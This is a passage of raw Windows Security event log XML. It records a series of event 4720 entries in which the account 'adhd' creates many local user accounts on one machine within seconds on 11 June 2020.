SystemTime='2020-06-11T22:05:04.0199436Z'/><EventRecordID>4843</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Philip</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1133</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Philip</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Philip - adhd - - - 4720 - 4837 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.9471189Z'/><EventRecordID>4837</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Lori</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1132</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Lori</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Lori - adhd - - - 4720 - 4831 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.8623042Z'/><EventRecordID>4831</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Andrew</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1131</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Andrew</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Andrew - adhd - - - 4720 - 4825 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.7724393Z'/><EventRecordID>4825</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Stephanie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1130</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Stephanie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Stephanie - adhd - - - 4720 - 4819 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.6905672Z'/><EventRecordID>4819</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jonathan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1129</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jonathan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jonathan - adhd - - - 4720 - 4813 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.5944712Z'/><EventRecordID>4813</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Judith</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1128</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Judith</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Judith - adhd - - - 4720 - 4807 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.5053637Z'/><EventRecordID>4807</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Christine</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1127</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Christine</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Christine - adhd - - - 4720 - 4801 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.4141151Z'/><EventRecordID>4801</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kathleen</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1126</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kathleen</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kathleen - adhd - - - 4720 - 4795 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.3315855Z'/><EventRecordID>4795</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kathy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1125</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kathy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kathy - adhd - - - 4720 - 4789 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.2452011Z'/><EventRecordID>4789</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Anna</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1124</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Anna</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Anna - adhd - - - 4720 - 4783 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.1052099Z'/><EventRecordID>4783</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Rebecca</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1123</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Rebecca</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Rebecca - adhd - - - 4720 - 4777 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.0216542Z'/><EventRecordID>4777</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Rachel</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1122</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Rachel</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Rachel - adhd - - - 4720 - 4771 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.9310070Z'/><EventRecordID>4771</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Aaron</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1121</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Aaron</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Aaron - adhd - - - 4720 - 4765 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.7173434Z'/><EventRecordID>4765</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Alexander</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1120</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Alexander</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Alexander - adhd - - - 4720 - 4759 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.6253589Z'/><EventRecordID>4759</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Daniel</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1119</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Daniel</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Daniel - adhd - - - 4720 - 4753 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.5422589Z'/><EventRecordID>4753</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>James</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1118</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>James</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data 